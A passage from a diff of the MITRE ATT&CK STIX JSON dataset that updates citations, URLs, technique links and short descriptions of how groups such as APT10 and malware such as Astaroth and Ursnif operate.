"relationship--23b77b77-e100-4ac2-93b9-b900a04844cd", "type": "relationship", - "modified": "2019-09-09T19:23:37.040Z", + "modified": "2020-11-09T16:28:37.872Z", "created": "2019-04-17T13:46:38.708Z" }, { @@ -134054,16 +135465,21 @@ "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "external_references": [ { - "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", - "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019." + "source_name": "Cybereason Astaroth Feb 2019" + }, + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." } ], - "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and to hide its code. (Citation: Cybereason Astaroth Feb 2019)", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and to hide its code. (Citation: Cybereason Astaroth Feb 2019)(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "id": "relationship--383301a1-1cf9-4a74-ab22-2ed1a8c2a42b", "type": "relationship", - "modified": "2019-09-09T19:23:37.082Z", + "modified": "2020-11-09T16:28:37.941Z", "created": "2019-04-17T13:46:38.736Z" }, { @@ -134138,16 +135554,21 @@ "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "external_references": [ { - "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "source_name": "Cofense Astaroth Sept 2018", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/", - "source_name": "Cofense Astaroth Sept 2018" + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019." + }, + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." } ], - "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses JavaScript to perform its core functionalities. (Citation: Cofense Astaroth Sept 2018)", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses JavaScript to perform its core functionalities. (Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "id": "relationship--71ec5140-320c-452c-8512-6a787af027c8", "type": "relationship", - "modified": "2020-06-23T19:38:55.293Z", + "modified": "2020-11-09T16:28:38.052Z", "created": "2019-04-17T13:46:38.805Z" }, { @@ -134185,21 +135606,26 @@ "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "external_references": [ { - "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "source_name": "Cofense Astaroth Sept 2018", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/", - "source_name": "Cofense Astaroth Sept 2018" + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019." }, { - "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", - "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019." + "source_name": "Cybereason Astaroth Feb 2019" + }, + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." } ], - "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses [certutil](https://attack.mitre.org/software/S0160) and [BITSAdmin](https://attack.mitre.org/software/S0190) to download additional malware. (Citation: Cofense Astaroth Sept 2018)(Citation: Cybereason Astaroth Feb 2019)", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses [certutil](https://attack.mitre.org/software/S0160) and [BITSAdmin](https://attack.mitre.org/software/S0190) to download additional malware. (Citation: Cofense Astaroth Sept 2018)(Citation: Cybereason Astaroth Feb 2019)(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "id": "relationship--ad731b3e-709e-49d0-a501-6fe69f78a428", "type": "relationship", - "modified": "2019-09-09T19:23:37.196Z", + "modified": "2020-11-09T16:28:38.110Z", "created": "2019-04-17T13:46:38.809Z" }, { @@ -134468,39 +135894,23 @@ "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "external_references": [ { - "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", - "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019." + "source_name": "Cybereason Astaroth Feb 2019" + }, + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." } ], - "description": "[Astaroth](https://attack.mitre.org/software/S0373) searches for unins000.exe (GAS Tecnologia software), Syswow64\\userinit.exe or System32\\userinit.exe to evasively create a new process in suspended state. (Citation: Cybereason Astaroth Feb 2019)", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.(Citation: Cybereason Astaroth Feb 2019)(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "id": "relationship--87a90347-6f15-461c-a44c-9acf503a606b", "type": "relationship", - "modified": "2019-09-09T19:23:37.343Z", + "modified": "2020-12-08T21:14:50.033Z", "created": "2019-04-17T13:46:38.897Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", - "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "external_references": [ - { - "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", - "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", - "source_name": "FireEye FIN6 Apr 2019" - } - ], - "description": "(Citation: FireEye FIN6 Apr 2019)", - "relationship_type": "uses", - "id": "relationship--935681a5-d027-4c13-8565-54cd8505bf61", - "type": "relationship", - "modified": "2019-06-28T14:59:17.854Z", - "created": "2019-04-17T14:45:59.674Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -134564,27 +135974,6 @@ "modified": "2020-10-09T13:28:48.778Z", "created": "2019-04-17T15:08:45.097Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", - "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", - "external_references": [ - { - "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", - "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", - "source_name": "FireEye FIN6 Apr 2019" - } - ], - "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used tools like Adfind to query users, groups, organizational units, and trusts.(Citation: FireEye FIN6 Apr 2019)\t\n", - "relationship_type": "uses", - "id": "relationship--9fcb40e0-a3a8-4625-b889-0d623960aa3d", - "type": "relationship", - "modified": "2020-03-18T20:11:11.225Z", - "created": "2019-04-17T15:08:45.101Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -134615,16 +136004,16 @@ "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "external_references": [ { - "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", - "source_name": "DOJ APT10 Dec 2018" + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has been seen changing malicious files to appear legitimate.(Citation: DOJ APT10 Dec 2018)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has been seen changing malicious files to appear legitimate.(Citation: District Court of NY APT10 Indictment December 2018)", "relationship_type": "uses", "id": "relationship--d464c661-d4da-427f-8c16-dfc275735fe9", "type": "relationship", - "modified": "2020-03-18T14:48:44.353Z", + "modified": "2020-12-17T20:15:30.830Z", "created": "2019-04-17T16:58:29.391Z" }, { @@ -134637,15 +136026,20 @@ "external_references": [ { "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + }, + { + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has encrypted files and information before exfiltration.(Citation: DOJ APT10 Dec 2018)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has encrypted files and information before exfiltration.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", "relationship_type": "uses", "id": "relationship--d844fdcc-a0d1-46b4-a4dc-f56063ef9584", "type": "relationship", - "modified": "2020-03-30T02:32:35.541Z", + "modified": "2020-12-17T20:15:30.836Z", "created": "2019-04-17T16:58:29.414Z" }, { @@ -134658,15 +136052,20 @@ "external_references": [ { "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." } ], - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has collected various files from the compromised computers.(Citation: DOJ APT10 Dec 2018)\n", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has collected various files from the compromised computers.(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)\n", "relationship_type": "uses", "id": "relationship--dfedbce3-afe2-46f4-80fb-7f3e802c5f03", "type": "relationship", - "modified": "2019-09-03T18:50:16.925Z", + "modified": "2020-12-17T16:16:08.962Z", "created": "2019-04-17T16:58:29.416Z" }, { @@ -134678,16 +136077,16 @@ "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "external_references": [ { - "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", - "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used key loggers to steal usernames and passwords.(Citation: DOJ APT10 Dec 2018)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used key loggers to steal usernames and passwords.(Citation: District Court of NY APT10 Indictment December 2018)", "relationship_type": "uses", "id": "relationship--5680146f-fc33-4b3e-bbc0-66a7f74587d3", "type": "relationship", - "modified": "2020-03-16T20:13:18.429Z", + "modified": "2020-12-17T19:56:08.070Z", "created": "2019-04-17T16:58:29.419Z" }, { @@ -134700,15 +136099,20 @@ "external_references": [ { "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." } ], - "description": "(Citation: DOJ APT10 Dec 2018)", + "description": "(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)", "relationship_type": "uses", "id": "relationship--a552bf3d-a438-406f-8f5b-8e263adad080", "type": "relationship", - "modified": "2019-09-03T18:50:17.081Z", + "modified": "2020-12-17T18:57:21.657Z", "created": "2019-04-17T16:58:29.703Z" }, { @@ -136316,7 +137720,7 @@ "relationship_type": "mitigates", "id": "relationship--73f87c11-addb-4900-9180-f2b98a425365", "type": "relationship", - "modified": "2020-03-29T01:11:29.075Z", + "modified": "2021-04-12T18:34:07.211Z", "created": "2019-04-19T18:46:48.083Z" }, { @@ -136427,7 +137831,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", - "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "external_references": [ { "description": "Carr, N.. (2018, October 25). Nick Carr Status Update. Retrieved April 22, 2019.", @@ -136439,7 +137843,7 @@ "relationship_type": "uses", "id": "relationship--f3b19f07-d8a9-4aca-a649-039024997a4f", "type": "relationship", - "modified": "2020-03-18T15:26:37.970Z", + "modified": "2021-04-22T00:39:49.797Z", "created": "2019-04-22T16:30:47.198Z" }, { @@ -136451,16 +137855,16 @@ "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use Dropbox and GitHub for C2.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--ac4e0574-879e-4155-84ed-5b2d8be0b603", "type": "relationship", - "modified": "2020-03-20T21:10:44.295Z", + "modified": "2021-04-09T14:53:15.824Z", "created": "2019-04-22T18:35:20.097Z" }, { @@ -136494,7 +137898,7 @@ "relationship_type": "mitigates", "id": "relationship--ef08ec46-915e-4e19-8969-1cdc79a1de4f", "type": "relationship", - "modified": "2020-03-29T01:37:35.835Z", + "modified": "2021-04-14T12:05:32.626Z", "created": "2019-04-22T22:03:26.377Z" }, { @@ -136569,16 +137973,16 @@ "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) has modules for enumerating domain trusts.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--0cc7cd3a-629e-4f90-9fca-1dde823fa428", "type": "relationship", - "modified": "2019-06-24T17:15:45.628Z", + "modified": "2021-04-09T14:47:00.132Z", "created": "2019-04-23T12:36:16.778Z" }, { @@ -136769,7 +138173,7 @@ }, { "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools" } ], @@ -136777,7 +138181,7 @@ "relationship_type": "uses", "id": "relationship--14cc9d67-85e2-4aae-8f3b-4201a66b918f", "type": "relationship", - "modified": "2019-04-24T16:39:54.015Z", + "modified": "2021-01-25T15:43:46.036Z", "created": "2019-04-23T13:58:04.273Z" }, { @@ -137164,7 +138568,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", - "target_ref": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", + "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", "external_references": [ { "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", @@ -137172,11 +138576,11 @@ "source_name": "ESET Ebury Feb 2014" } ], - "description": "[Ebury](https://attack.mitre.org/software/S0377) has disabled logging when the backdoor is used.(Citation: ESET Ebury Feb 2014)\t", + "description": "[Ebury](https://attack.mitre.org/software/S0377) can hook logging functions so that nothing from the backdoor gets sent to the logging facility.(Citation: ESET Ebury Feb 2014)\t", "relationship_type": "uses", "id": "relationship--a74a0a14-9c50-48b8-aa6d-5b0aea81e8fb", "type": "relationship", - "modified": "2020-03-28T00:54:00.972Z", + "modified": "2020-11-23T17:49:42.493Z", "created": "2019-04-23T15:49:35.590Z" }, { @@ -137199,7 +138603,7 @@ }, { "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools" } ], @@ -137207,7 +138611,7 @@ "relationship_type": "uses", "id": "relationship--a6350331-0c0d-4d0d-90a3-d5cc3e420875", "type": "relationship", - "modified": "2019-04-24T16:39:54.057Z", + "modified": "2021-01-25T15:43:46.040Z", "created": "2019-04-23T15:51:37.516Z" }, { @@ -137477,7 +138881,7 @@ "external_references": [ { "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools" } ], @@ -137485,7 +138889,7 @@ "relationship_type": "uses", "id": "relationship--60a46293-ec9e-4931-8315-03b4f68c2e74", "type": "relationship", - "modified": "2019-04-24T20:32:55.121Z", + "modified": "2021-01-25T15:43:46.034Z", "created": "2019-04-23T16:24:46.234Z" }, { @@ -137498,7 +138902,7 @@ "external_references": [ { "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools" } ], @@ -137506,7 +138910,7 @@ "relationship_type": "uses", "id": "relationship--4b14d96b-1664-4072-a49a-3a990a13ca83", "type": "relationship", - "modified": "2019-04-24T20:32:55.123Z", + "modified": "2021-01-25T15:43:46.057Z", "created": "2019-04-23T16:24:46.251Z" }, { @@ -137769,14 +139173,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "description": "Some versions of [CozyCar](https://attack.mitre.org/software/S0046) will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit.(Citation: F-Secure CozyDuke)", "relationship_type": "uses", "id": "relationship--8f88490e-346b-4462-b077-0211707c21a3", "type": "relationship", - "modified": "2020-03-27T22:56:16.004Z", + "modified": "2020-11-23T17:03:38.910Z", "created": "2019-04-24T13:32:25.647Z" }, { @@ -137794,7 +139198,7 @@ }, { "source_name": "NCCGroup RokRat Nov 2018", - "url": "https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/", + "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020." } ], @@ -137802,7 +139206,7 @@ "relationship_type": "uses", "id": "relationship--8bbe5f67-f65e-4982-8897-7f7466fc0845", "type": "relationship", - "modified": "2020-05-21T17:07:02.805Z", + "modified": "2021-03-29T19:50:54.258Z", "created": "2019-04-24T13:44:02.099Z" }, { @@ -137873,19 +139277,6 @@ "modified": "2020-03-17T18:48:45.312Z", "created": "2019-04-24T16:33:49.452Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "course-of-action--2108b914-eee1-45cc-8840-36272b19596a", - "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", - "relationship_type": "mitigates", - "id": "relationship--85b3c5f7-71ff-4b1d-81e9-62bd75afe7ea", - "type": "relationship", - "modified": "2020-03-26T21:17:41.433Z", - "created": "2019-04-24T16:57:19.497Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -137896,7 +139287,7 @@ "relationship_type": "mitigates", "id": "relationship--50818065-cda9-4fe5-ae74-983bb3e436ba", "type": "relationship", - "modified": "2020-07-14T19:29:17.714Z", + "modified": "2021-04-14T12:06:32.649Z", "created": "2019-04-24T16:59:33.716Z" }, { @@ -137909,7 +139300,7 @@ "relationship_type": "mitigates", "id": "relationship--6b392dbc-1f55-4eeb-90b5-3f980a01f11d", "type": "relationship", - "modified": "2020-07-24T15:36:08.221Z", + "modified": "2021-03-02T22:11:32.161Z", "created": "2019-04-24T17:01:10.541Z" }, { @@ -138020,11 +139411,11 @@ "source_name": "FireEye TRITON 2019" } ], - "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used a publicly-available PowerShell-based tool, WMImplant.(Citation: FireEye TEMP.Veles 2018) The group has also used PowerShell to perform [Timestomp](https://attack.mitre.org/techniques/T1099)ing.(Citation: FireEye TRITON 2019)", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used a publicly-available PowerShell-based tool, WMImplant.(Citation: FireEye TEMP.Veles 2018) The group has also used PowerShell to perform [Timestomp](https://attack.mitre.org/techniques/T1070/006)ing.(Citation: FireEye TRITON 2019)", "relationship_type": "uses", "id": "relationship--a692f6c3-9082-4336-b52a-2a40556ee03d", "type": "relationship", - "modified": "2019-04-29T18:59:16.588Z", + "modified": "2021-02-09T14:34:04.502Z", "created": "2019-04-24T19:50:33.740Z" }, { @@ -141364,7 +142755,7 @@ }, { "source_name": "NCCGroup RokRat Nov 2018", - "url": "https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/", + "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020." } ], @@ -141372,7 +142763,7 @@ "relationship_type": "uses", "id": "relationship--90be71e4-6b38-4411-aac5-09711a334393", "type": "relationship", - "modified": "2020-05-21T17:07:02.808Z", + "modified": "2021-03-29T19:50:54.274Z", "created": "2019-06-04T14:17:34.176Z" }, { @@ -141417,27 +142808,6 @@ "modified": "2019-07-26T23:00:57.675Z", "created": "2019-06-04T17:45:28.684Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "target_ref": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", - "external_references": [ - { - "source_name": "CobaltStrike Daddy May 2017", - "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/", - "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019." - } - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can spawn processes with alternate PPIDs.(Citation: CobaltStrike Daddy May 2017)", - "relationship_type": "uses", - "id": "relationship--5eb09c46-e7d1-49d9-9860-f883a1a17866", - "type": "relationship", - "modified": "2019-06-06T19:04:39.537Z", - "created": "2019-06-04T18:25:15.646Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -142553,11 +143923,11 @@ "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019." } ], - "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used an XOR-based algorithm to encrypt Tor clients dropped to disk.(Citation: ProofPoint Ursnif Aug 2016)\t[Ursnif](https://attack.mitre.org/software/S0386) droppers have also been delivered as password-protected zip files that execute base64 encoded [PowerShell](https://attack.mitre.org/techniques/T1086) commands.(Citation: Bromium Ursnif Mar 2017)", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used an XOR-based algorithm to encrypt Tor clients dropped to disk.(Citation: ProofPoint Ursnif Aug 2016)\t[Ursnif](https://attack.mitre.org/software/S0386) droppers have also been delivered as password-protected zip files that execute base64 encoded [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands.(Citation: Bromium Ursnif Mar 2017)", "relationship_type": "uses", "id": "relationship--117ca63e-7fdb-41e6-9f4b-e19a0e889061", "type": "relationship", - "modified": "2019-06-24T16:46:20.909Z", + "modified": "2021-02-09T14:03:21.323Z", "created": "2019-06-05T21:30:37.377Z" }, { @@ -143224,11 +144594,11 @@ "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019." } ], - "description": 